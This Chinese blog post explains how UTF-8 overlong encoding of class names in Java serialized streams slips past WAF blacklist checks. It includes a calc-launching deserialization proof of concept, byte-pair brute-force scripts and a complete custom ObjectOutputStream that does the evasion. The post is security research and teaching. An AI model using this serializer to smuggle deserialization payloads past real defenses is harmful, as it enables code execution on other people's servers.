UTF-8 Overlong绕过waf姿势
前言
在地铁上无意中看了@1ue师傅关于通过UTF-8
超长字符转换的原因绕过反序列化的时候关键类名的检测,是一种我还没怎么见过的新方式,于是参考着学习一番。
关于UTF-8编码
UTF-8编码
是最流行的编码方式,无论是写代码进行字节转换的时候,都知道输入转换UTF-8
,但是我还没怎么了解过UTF-8
编码的具体原理。
占用字节数 | 范围 | 第一个字节 | 第二个字节 | 第三个字节 | 第四个字节 |
---|---|---|---|---|---|
1 | U+0000至U+007F | 0xxxxxxx | |||
2 | U+0080 到U+07FF | 110xxxxx | 10xxxxxx | ||
3 | U+0800到U+FFFF | 1110xxxx | 10xxxxxx | 10xxxxxx | |
4 | U+10000到U+10FFFF | 11110xxx | 10xxxxxx | 10xxxxxx | 10xxxxxx |
以人民币符号¥
为例,它是Unicod码典为U+FFE5
:
U+FFE5
位于占用3
字节数的范围内,所以UTF-8
的编码长度为30xFFE5
转换成16进制为15*16**3+15*16**2+14*16**1+5
对应的二进制为1111 111111 100101
分成4、6、6的形式,如果第一位不足4位则前面补0,这里刚好满足- 依据表为分成的二进制添加前缀,结果为
11101111 10111111 10100101
对应着0xef 0xbf 0xa5
,解码后的符号就为¥
UTF-8 超长字符串的问题
根据UTF-8
编码的规范表,每一个字符都有相应的字节数和表示方式,那如果根据UTF-8
编码的规范表,将占用 1
字节数的编码强行转换为2
字节以上的UTF-8
编码就会出现非法的UTF-8
字符,而Java
在反序列化使用readObject
的时候使用的readUTF
方法也是UTF-8
编码,不过它只在3
字节以内,但是同样也是有这种超长字符串转换的缺陷。
以符号a
举例说明,a
对应的ASCII
编码表为97
,它的unicode
编码的同样一致为0x61
,根据UTF-8
编码表的规范它应该为01100001
如果强制把它转换成2
字节的表示方法,1100001
分为5,6
两组,对应 1 100001
,前面不足5
位向前补0,变成00001 100001
,最终加上前缀变成11000001 10100001
,转换成字节的结果为\xc1\xa1
因为没有限制的向前补0
和没有遵循UTF-8
依据最小字节数来表示的规范,因此出现了\xc1\xa1
这个非法的UTF-8
的字符(使用python进行decode
是出现报错的),但是这个字符确实是依据UTF-8
的规范表转换成的,而Java
对这类的情况并没有做防御,导致了安全问题。
关于反序列化时readObejct
一般在waf
在进行反序列化的恶意类进行检测时候,会获取到反序列化的字节流,然后通过黑名单的匹配字节流中是否出现了恶意的类,从而阻止反序列化,之前出现过通过反序列化的协议,去填充脏字符串的扰乱waf
的检测的思路,而这次的思路是通过UTF-8
超长编码的形式,从而使得恶意的类名不存在了,但是又能被正确解码解析,去绕过waf
的检测。
package com.example.waf;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Test implements Serializable {
static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
Test test=new Test();
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(test);
System.out.println(byteArrayOutputStream);
}
}
在以上的情况下,序列化的数据是存在类名的,如果能让类名直接转换,不以类名的形式显示,就可能绕过waf
的检测
下面通过debug分析一下readObject
的一些流程:
在进入readObject
方法后,通过enableOverride
判断是否为重写了readObject
或定制的方法,如不是进入到readObject0
里面
在readObejct0
中,通过getBlockDataMode
获取数据块的读取模式,如果oldMode
为0,表示当前流处于块数据模式。块数据模式意味着当前正在读取一个块数据,而不是单个对象。
读取完数据的内容到bin
后,进入while
循环,遍历数据中的内容,通过标志位的内容进入不同的case
中,进行不同的处理,其实在之前填充脏数据绕过的时候是可以看到有很多标志位标记了不同的类型的,它是类似于一种XML结构的东西。
进入到readOrdinaryObject
中后,unshared
判断是否是共享对象,随后进入到readClassDesc
中,通过peekByte()
方法查看下一个字节流中的值(不移动位置),根据下一个流的值进入不同的case
,这里其实与之前TC_CLASSDESC - 0x72
是对应上的,进入到readNonProxyDesc
中。
readNonProxyDesc
先做的操作是创建了ObjectStramClass
当前读取的类,通过unshared
字段来为对象进行处理句柄的分配,这里的作用应当用于在序列化和反序列化中标识对象,从而能够使用相同的处理器保持相互之间的引用关系,然后进入到了readClassDescriptor
直至来到readNonProxy
方法中,出现了前文所说的readUTF
方法用于读取一个以 UTF-8
格式编码的字符串。
readUTF
方法会直接进入到readUTFBody
方法中,首次进入的时候首先是判断是否是非块模式,将读取位置和结束位置都设置为0,并且经过utflen
来设置结束位置的的大小(这里是20),再进行循环,当avail>=3
时,会进入readUTFSpan
中。
在readUTFSpan
中会通过while
循环以及不同的case
,通过遍历索引的值的形式,读取我们的的类名com.example.Test
,并赋值给前面的StringBuilder
,从代码自带的注释中可以看到UTF-8
中3
字节内的代码规范,通过取Byte数组
中高四位判断是多少位字节的规范。
private long readUTFSpan(StringBuilder sbuf, long utflen)
throws IOException
{
int cpos = 0;
int start = pos;
int avail = Math.min(end - pos, CHAR_BUF_SIZE);
// stop short of last char unless all of utf bytes in buffer
int stop = pos + ((utflen > avail) ? avail - 2 : (int) utflen);
boolean outOfBounds = false;
try {
while (pos < stop) {
int b1, b2, b3;
b1 = buf[pos++] & 0xFF;
switch (b1 >> 4) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7: // 1 byte format: 0xxxxxxx
cbuf[cpos++] = (char) b1;
break;
case 12:
case 13: // 2 byte format: 110xxxxx 10xxxxxx
b2 = buf[pos++];
if ((b2 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
((b2 & 0x3F) << 0));
break;
case 14: // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx
b3 = buf[pos + 1];
b2 = buf[pos + 0];
pos += 2;
if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
break;
default: // 10xx xxxx, 1111 xxxx
throw new UTFDataFormatException();
}
}
} catch (ArrayIndexOutOfBoundsException ex) {
outOfBounds = true;
} finally {
if (outOfBounds || (pos - start) > utflen) {
pos = start + (int) utflen;
throw new UTFDataFormatException();
}
}
sbuf.append(cbuf, 0, cpos);
return pos - start;
}
就比如说我们的e
字符,对应的unicode是101
,不超过128
在右移四位都在7
范围内,必定会来到直接赋值的逻辑。
case 7:
cbuf[cpos++] = (char) b1;
break;
但是下面还有case12-13,case14
存在不同的处理逻辑,如果能够通过下面的两种逻辑来同样获得e
字符,那么就通过利用UTF-8
超长字符的缺陷来混淆了e
字符,可以爆破一下,其实有很多,就比如说我们的0x81,0x25
,但是不能取这个,取到的数右移4位要在12、13或者14,如果取81
会出现case8
的报错,这里可以取c1
与a5
。
package com.example.waf;
public class CaseByte {
public static void main(String[] args) {
for (int b1 = 0; b1 <= 255; b1++) {
for (int b2 = 0; b2 <= 255; b2++) {
int result = (b1 & 0x1F) << 6 | (b2 & 0x3F) << 0;
if ((b2 & 0xC0) == 0x80 && result == 101) {
System.out.println("Found b1: " + Integer.toHexString(b1) + ", b2: " + Integer.toHexString(b2));
}
}
}
}
}
进行调试,发现e
是成功被解码的,但是返回之后最后面的T
没有了,原因是因为utflen
的长度是决定循环的次数的,你这里多了一个byte
,但是utflen的长度依旧是20
,导致最后面一个byte
没有循环到。
以下代码是关于utflen
计算,其实就是通过读取数据中类名前面的哪一位的十六进制的值来确定len
。
根据反序列化协议的格式也可以看出来,所以这里我们只需要把前面长度的值+1,即可完成混淆。
将原本前面的示例类中的14
改成15
即可。
最终可以看到并不影响反序列化触发命令执行的问题。
那么理论上是可以将所有的类名都依据这种方式来处理,因为反序列化的时候是通过readNonProxy
来读取处理,那么在序列化的时候,我们重写它的WriteNonProxy
方法对应即可。
首先可以通过脚本跑出所有的字符的表示方式:
package com.example.waf;
public class CaseByte {
public static void main(String[] args) {
String str=".;$[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int[] asciiArray = new int[str.length()];
for (int i = 0; i < str.length(); i++) {
char ch = str.charAt(i);
int ascii = (int) ch;
asciiArray[i] = ascii;
}
for(int i=0;i<str.length();i++) {
for (int b1 = 0; b1 <= 255; b1++) {
for (int b2 = 0; b2 <= 255; b2++) {
int result = (b1 & 0x1F) << 6 | (b2 & 0x3F) << 0;
if ((b2 & 0xC0) == 0x80 && result == asciiArray[i]) {
if ( 0xc0<=b1&&b1<=0xd0)
System.out.println("map.put('"+(char)asciiArray[i]+"',new int[]{"+"0x"+Integer.toHexString(b1)+","+"0x"+Integer.toHexString(b2)+"}"+");");
break;
}
}
}
}
}
}
随后在write
的时候,遍历类名,替换成上面的OverLong
,再通过反射重写一次WriteNonProxy
代码即可。
以下直接赋值@1ue
师傅的脚本,做了一些简单的注释说明:
package com.example.waf;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
public class MyObjectOuputStream extends ObjectOutputStream {
private static HashMap<Character,int[]> map;
static {
map=new HashMap<>();
map.put('.',new int[]{0xc0,0xae});
map.put(';',new int[]{0xc0,0xbb});
map.put('$',new int[]{0xc0,0xa4});
map.put('[',new int[]{0xc1,0x9b});
map.put(']',new int[]{0xc1,0x9d});
map.put('a',new int[]{0xc1,0xa1});
map.put('b',new int[]{0xc1,0xa2});
map.put('c',new int[]{0xc1,0xa3});
map.put('d',new int[]{0xc1,0xa4});
map.put('e',new int[]{0xc1,0xa5});
map.put('f',new int[]{0xc1,0xa6});
map.put('g',new int[]{0xc1,0xa7});
map.put('h',new int[]{0xc1,0xa8});
map.put('i',new int[]{0xc1,0xa9});
map.put('j',new int[]{0xc1,0xaa});
map.put('k',new int[]{0xc1,0xab});
map.put('l',new int[]{0xc1,0xac});
map.put('m',new int[]{0xc1,0xad});
map.put('n',new int[]{0xc1,0xae});
map.put('o',new int[]{0xc1,0xaf});
map.put('p',new int[]{0xc1,0xb0});
map.put('q',new int[]{0xc1,0xb1});
map.put('r',new int[]{0xc1,0xb2});
map.put('s',new int[]{0xc1,0xb3});
map.put('t',new int[]{0xc1,0xb4});
map.put('u',new int[]{0xc1,0xb5});
map.put('v',new int[]{0xc1,0xb6});
map.put('w',new int[]{0xc1,0xb7});
map.put('x',new int[]{0xc1,0xb8});
map.put('y',new int[]{0xc1,0xb9});
map.put('z',new int[]{0xc1,0xba});
map.put('A',new int[]{0xc1,0x81});
map.put('B',new int[]{0xc1,0x82});
map.put('C',new int[]{0xc1,0x83});
map.put('D',new int[]{0xc1,0x84});
map.put('E',new int[]{0xc1,0x85});
map.put('F',new int[]{0xc1,0x86});
map.put('G',new int[]{0xc1,0x87});
map.put('H',new int[]{0xc1,0x88});
map.put('I',new int[]{0xc1,0x89});
map.put('J',new int[]{0xc1,0x8a});
map.put('K',new int[]{0xc1,0x8b});
map.put('L',new int[]{0xc1,0x8c});
map.put('M',new int[]{0xc1,0x8d});
map.put('N',new int[]{0xc1,0x8e});
map.put('O',new int[]{0xc1,0x8f});
map.put('P',new int[]{0xc1,0x90});
map.put('Q',new int[]{0xc1,0x91});
map.put('R',new int[]{0xc1,0x92});
map.put('S',new int[]{0xc1,0x93});
map.put('T',new int[]{0xc1,0x94});
map.put('U',new int[]{0xc1,0x95});
map.put('V',new int[]{0xc1,0x96});
map.put('W',new int[]{0xc1,0x97});
map.put('X',new int[]{0xc1,0x98});
map.put('Y',new int[]{0xc1,0x99});
map.put('Z',new int[]{0xc1,0x9a});
}
public MyObjectOuputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws
IOException {
//获取类名并将长度乘2写入流中
String name = desc.getName();
writeShort(name.length() * 2);
//将类名中的每个字符进行UTF-8 OverLong并写入
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
//获取序列化的ID写入
writeLong(desc.getSerialVersionUID());
try {
byte flags = 0;
//类是否继承了externalizable接口(也就是是否可外部化)
if ((boolean)getFieldValue(desc,"externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
//获取对应的protocol字段的值,判断是否是版本,如果不是,则设置为块数据模式
Field protocolField =
ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (int) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
//是否集成了序列化接口
} else if ((boolean)getFieldValue(desc,"serializable")){
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
//是否存在writeObject 或 writeExternal方法,
if ((boolean)getFieldValue(desc,"hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((boolean)getFieldValue(desc,"isEnum") ) {
flags |= ObjectStreamConstants.SC_ENUM;
}
//将上面对应的标记位写入
writeByte(flags);
//写入类的字段信息
ObjectStreamField[] fields = (ObjectStreamField[])
getFieldValue(desc,"fields");
writeShort(fields.length);
//如果字段不是基本类型,使用反射调用 writeTypeString 方法写入类型字符串。
for (int i = 0; i < fields.length; i++) {
ObjectStreamField f = fields[i];
writeByte(f.getTypeCode());
writeUTF(f.getName());
//判断当前字段类型是否是基本类型,对非基本类型字段进行处理,通过调用私有方法 writeTypeString 将字段的类型字符串写入输出流
if (!f.isPrimitive()) {
Method writeTypeString =
ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this,f.getTypeString());
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
}
}
public static Object getFieldValue(Object object, String fieldName) throws
NoSuchFieldException, IllegalAccessException {
Class<?> clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
Object value = field.get(object);
return value;
}
}
文章标题:UTF-8 Overlong绕过waf姿势
文章链接:https://aiwin.fun/index.php/archives/4381/
最后编辑:2024 年 2 月 24 日 17:40 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)